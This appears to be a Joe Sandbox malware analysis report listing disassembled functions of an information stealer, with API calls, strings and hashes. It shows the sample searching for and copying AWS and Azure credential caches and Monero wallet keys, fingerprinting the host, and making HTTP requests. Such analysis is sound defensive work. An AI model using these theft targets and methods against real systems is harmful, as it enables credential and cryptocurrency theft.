Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 078a1ccbdb47528132783af591603c4931a72681d557d7f368795d03f6e276ed
Instruction ID: f6bedb5b4d19274196feecd3e2c36e4042d24fb5c326cd0297da271546ea6d81
Opcode Fuzzy Hash: 078a1ccbdb47528132783af591603c4931a72681d557d7f368795d03f6e276ed
Instruction Fuzzy Hash: 50E14071910218ABCB04EBA0EC96EEE77B8AF54301F504598F50AB7191DF75AE18CF72

Function 00B27DC0 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

RegOpenKeyExA.KERNEL32(00000000,0074AFF8,00000000,00020019,00000000,00B305A6), ref: 00B27E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B27EC6
wsprintfA.USER32 ref: 00B27EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00B27F1B
RegCloseKey.ADVAPI32(00000000), ref: 00B27F2C
RegCloseKey.ADVAPI32(00000000), ref: 00B27F39

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Strings

%s\%s, xrefs: 00B27EED
- , xrefs: 00B28043
?, xrefs: 00B27E1A
@t, xrefs: 00B2802C

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?$@t
API String ID: 3246050789-3951807318
Opcode ID: 9eade76deef159c6a5459d1594a06e8b6fd91eb1ef1450fbfd450203ffce0cb2
Instruction ID: 0809f300513d27c844d9aac0e5120cb55e858f987c82afed7b8c736fb093cb6d
Opcode Fuzzy Hash: 9eade76deef159c6a5459d1594a06e8b6fd91eb1ef1450fbfd450203ffce0cb2
Instruction Fuzzy Hash: 2D81FD719112289BDB28DB54DC95FDAB7B8BF48711F0082D8E10DA6190DF756F89CFA0

Function 00B24FF0 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A1F0: lstrlen.KERNEL32(00B14F55,?,?,00B14F55,00B30DC6), ref: 00B2A1FB
Part of subcall function 00B2A1F0: lstrcpy.KERNEL32(00B30DC6,00000000), ref: 00B2A255

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B25124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B25181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B25337

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Part of subcall function 00B24CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B24D08

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B24DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B24DF8
Part of subcall function 00B24DA0: lstrlen.KERNEL32(00000000), ref: 00B24E0F
Part of subcall function 00B24DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00B24E44
Part of subcall function 00B24DA0: lstrlen.KERNEL32(00000000), ref: 00B24E63
Part of subcall function 00B24DA0: lstrlen.KERNEL32(00000000), ref: 00B24E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B2526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B25420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B254EC
Sleep.KERNEL32(0000EA60), ref: 00B254FB

Strings

ERROR, xrefs: 00B2525D
ERROR, xrefs: 00B254DE
ERROR, xrefs: 00B25329
ERROR, xrefs: 00B25116
ERROR, xrefs: 00B25412
es, xrefs: 00B25065, 00B250C3
ERROR, xrefs: 00B25173

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$es
API String ID: 507064821-3036584015
Opcode ID: 2b4c6cc14ca859081b9ef133d4f6fd136cc1855afa91f9c1a545f45989e564f9
Instruction ID: 5ea877e1d0b7fcecb87fd32e89905772697a116f6fc8dcb3257ee056ed821dad
Opcode Fuzzy Hash: 2b4c6cc14ca859081b9ef133d4f6fd136cc1855afa91f9c1a545f45989e564f9
Instruction Fuzzy Hash: D9E182719102149BCB14FBA4FC92EED73B8AF54310F4085A8B50AB2191EF346F5CCBA2

Function 00B162D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B1483B
Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B14852
Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B14869
Part of subcall function 00B14800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B14889
Part of subcall function 00B14800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B14899

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

InternetOpenA.WININET(00B30DE6,00000001,00000000,00000000,00000000), ref: 00B16331
StrCmpCA.SHLWAPI(?,0074E6F0), ref: 00B16353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B16385
HttpOpenRequestA.WININET(00000000,GET,?,0074DCC0,00000000,00000000,00400100,00000000), ref: 00B163D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B1640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B16421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00B1644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B164BD
InternetCloseHandle.WININET(00000000), ref: 00B1653F
InternetCloseHandle.WININET(00000000), ref: 00B16549
InternetCloseHandle.WININET(00000000), ref: 00B16553

Strings

GET, xrefs: 00B163CC
ERROR, xrefs: 00B16519
ERROR, xrefs: 00B16457

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 0db3deb4201d89701ed41d1de534425da5a3192c2e24217a2da4e5587d90b0de
Instruction ID: ae9a422323c5e144cf412d81213d153c22e3b2685027775a5fac3b5db9709aaf
Opcode Fuzzy Hash: 0db3deb4201d89701ed41d1de534425da5a3192c2e24217a2da4e5587d90b0de
Instruction Fuzzy Hash: A5714E71A00318EBDB14DBA4DC59BEEB7B9EB44700F508199F50ABB290DBB46A84CF51

Function 00B24850 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B28880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B288AB

lstrcat.KERNEL32(?,00000000), ref: 00B24890
lstrcat.KERNEL32(?,\.azure\), ref: 00B248AD

Part of subcall function 00B243F0: wsprintfA.USER32 ref: 00B2440C
Part of subcall function 00B243F0: FindFirstFileA.KERNEL32(?,?), ref: 00B24423

lstrcat.KERNEL32(?,00000000), ref: 00B2491C
lstrcat.KERNEL32(?,\.aws\), ref: 00B24939

Part of subcall function 00B243F0: StrCmpCA.SHLWAPI(?,00B30FAC), ref: 00B24451
Part of subcall function 00B243F0: StrCmpCA.SHLWAPI(?,00B30FB0), ref: 00B24467
Part of subcall function 00B243F0: FindNextFileA.KERNEL32(000000FF,?), ref: 00B2465D
Part of subcall function 00B243F0: FindClose.KERNEL32(000000FF), ref: 00B24672

lstrcat.KERNEL32(?,00000000), ref: 00B249A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00B249C5

Part of subcall function 00B243F0: wsprintfA.USER32 ref: 00B24490
Part of subcall function 00B243F0: StrCmpCA.SHLWAPI(?,00B308BA), ref: 00B244A5
Part of subcall function 00B243F0: wsprintfA.USER32 ref: 00B244C2
Part of subcall function 00B243F0: PathMatchSpecA.SHLWAPI(?,?), ref: 00B244FE
Part of subcall function 00B243F0: lstrcat.KERNEL32(?,0074E5D0), ref: 00B2452A
Part of subcall function 00B243F0: lstrcat.KERNEL32(?,00B30FC8), ref: 00B2453C
Part of subcall function 00B243F0: lstrcat.KERNEL32(?,?), ref: 00B24550
Part of subcall function 00B243F0: lstrcat.KERNEL32(?,00B30FCC), ref: 00B24562
Part of subcall function 00B243F0: lstrcat.KERNEL32(?,?), ref: 00B24576
Part of subcall function 00B243F0: CopyFileA.KERNEL32(?,?,00000001), ref: 00B2458C
Part of subcall function 00B243F0: DeleteFileA.KERNEL32(?), ref: 00B24611

Strings

\.aws\, xrefs: 00B2492D
\.azure\, xrefs: 00B248A1
Azure\.aws, xrefs: 00B2493F
*.*, xrefs: 00B24944
*.*, xrefs: 00B248B8
msal.cache, xrefs: 00B249D0
\.IdentityService\, xrefs: 00B249B9
Azure\.IdentityService, xrefs: 00B249CB
Azure\.azure, xrefs: 00B248B3

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: afc356a88c59cadc505e2593327d901e31c3b2aa578ea21fab9f7edea757829d
Instruction ID: a474ddcdd62c7e3b02bcc6f05bf44cd31017775c10787488d0fbe8ede261e603
Opcode Fuzzy Hash: afc356a88c59cadc505e2593327d901e31c3b2aa578ea21fab9f7edea757829d
Instruction Fuzzy Hash: 3A41C1BA94021867CB24F760FC57FDD767C9B64700F4049D4B649A61C1EEB46BC88BA2

Function 00B21520 Relevance: 18.4, APIs: 2, Strings: 8, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B26FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00B26FE2
Part of subcall function 00B26FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B2701F
Part of subcall function 00B26FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B270A3
Part of subcall function 00B26FA0: RtlAllocateHeap.NTDLL(00000000), ref: 00B270AA

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B27130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B27144
Part of subcall function 00B27130: RtlAllocateHeap.NTDLL(00000000), ref: 00B2714B

Part of subcall function 00B27260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00B2D5B0,000000FF,?,00B217A9,00000000,?,0074D670,00000000,?), ref: 00B27292
Part of subcall function 00B27260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00B2D5B0,000000FF,?,00B217A9,00000000,?,0074D670,00000000,?), ref: 00B27299

Part of subcall function 00B272F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B111B7), ref: 00B27320
Part of subcall function 00B272F0: RtlAllocateHeap.NTDLL(00000000), ref: 00B27327
Part of subcall function 00B272F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B2733F

Part of subcall function 00B27380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B273B0
Part of subcall function 00B27380: RtlAllocateHeap.NTDLL(00000000), ref: 00B273B7
Part of subcall function 00B27380: GetComputerNameA.KERNEL32(?,00000104), ref: 00B273CF

Part of subcall function 00B27420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B30DD0,00000000,?), ref: 00B27450
Part of subcall function 00B27420: RtlAllocateHeap.NTDLL(00000000), ref: 00B27457
Part of subcall function 00B27420: GetLocalTime.KERNEL32(?,?,?,?,?,00B30DD0,00000000,?), ref: 00B27464
Part of subcall function 00B27420: wsprintfA.USER32 ref: 00B27493

Part of subcall function 00B274D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0074DF30,00000000,?,00B30DE0,00000000,?,00000000,00000000), ref: 00B27503
Part of subcall function 00B274D0: RtlAllocateHeap.NTDLL(00000000), ref: 00B2750A
Part of subcall function 00B274D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0074DF30,00000000,?,00B30DE0,00000000,?,00000000,00000000,?), ref: 00B2751D

Part of subcall function 00B275A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0074DF30,00000000,?,00B30DE0,00000000,?,00000000,00000000), ref: 00B275D5

Part of subcall function 00B27630: GetKeyboardLayoutList.USER32(00000000,00000000,00B3059F), ref: 00B27681
Part of subcall function 00B27630: LocalAlloc.KERNEL32(00000040,?), ref: 00B27699
Part of subcall function 00B27630: GetKeyboardLayoutList.USER32(?,00000000), ref: 00B276AD
Part of subcall function 00B27630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00B27702
Part of subcall function 00B27630: LocalFree.KERNEL32(00000000), ref: 00B277C2

Part of subcall function 00B27820: GetSystemPowerStatus.KERNEL32(?), ref: 00B2784D

GetCurrentProcessId.KERNEL32(00000000,?,0074D6F0,00000000,?,00B30DF4,00000000,?,00000000,00000000,?,0074DF48,00000000,?,00B30DF0,00000000), ref: 00B21B8E

Part of subcall function 00B28F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00B28F24
Part of subcall function 00B28F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00B28F45
Part of subcall function 00B28F10: CloseHandle.KERNEL32(00000000), ref: 00B28F4F

Part of subcall function 00B278A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B278D7
Part of subcall function 00B278A0: RtlAllocateHeap.NTDLL(00000000), ref: 00B278DE
Part of subcall function 00B278A0: RegOpenKeyExA.KERNEL32(80000002,0073BDB8,00000000,00020119,?), ref: 00B278FE
Part of subcall function 00B278A0: RegQueryValueExA.KERNEL32(?,0074D3B0,00000000,00000000,000000FF,000000FF), ref: 00B2791F
Part of subcall function 00B278A0: RegCloseKey.ADVAPI32(?), ref: 00B27932

Part of subcall function 00B27A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00B27A69
Part of subcall function 00B27A00: GetLastError.KERNEL32 ref: 00B27A78

Part of subcall function 00B27970: GetSystemInfo.KERNEL32(00B30DFC), ref: 00B279A0
Part of subcall function 00B27970: wsprintfA.USER32 ref: 00B279B6

Part of subcall function 00B27BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0074E038,00000000,?,00B30DFC,00000000,?,00000000), ref: 00B27BD0
Part of subcall function 00B27BA0: RtlAllocateHeap.NTDLL(00000000), ref: 00B27BD7
Part of subcall function 00B27BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00B27BF8
Part of subcall function 00B27BA0: __aulldiv.LIBCMT ref: 00B27C12
Part of subcall function 00B27BA0: __aulldiv.LIBCMT ref: 00B27C20
Part of subcall function 00B27BA0: wsprintfA.USER32 ref: 00B27C4C

Part of subcall function 00B28260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B30DF8,00000000,?), ref: 00B282CF
Part of subcall function 00B28260: RtlAllocateHeap.NTDLL(00000000), ref: 00B282D6
Part of subcall function 00B28260: wsprintfA.USER32 ref: 00B282F0

Part of subcall function 00B27DC0: RegOpenKeyExA.KERNEL32(00000000,0074AFF8,00000000,00020019,00000000,00B305A6), ref: 00B27E44

Part of subcall function 00B27DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B27EC6
Part of subcall function 00B27DC0: wsprintfA.USER32 ref: 00B27EF9
Part of subcall function 00B27DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00B27F1B
Part of subcall function 00B27DC0: RegCloseKey.ADVAPI32(00000000), ref: 00B27F2C
Part of subcall function 00B27DC0: RegCloseKey.ADVAPI32(00000000), ref: 00B27F39

Part of subcall function 00B28120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B2816A
Part of subcall function 00B28120: Process32First.KERNEL32(?,00000128), ref: 00B2817E
Part of subcall function 00B28120: Process32Next.KERNEL32(?,00000128), ref: 00B28193
Part of subcall function 00B28120: FindCloseChangeNotification.KERNEL32(?), ref: 00B28201

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00B2216B

Strings

t, xrefs: 00B217F5
Pt, xrefs: 00B21D6B
ht, xrefs: 00B21F04
8t, xrefs: 00B21C75
(t, xrefs: 00B2159E
pt, xrefs: 00B219E0
t, xrefs: 00B21BFB
Xt, xrefs: 00B21CF0

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
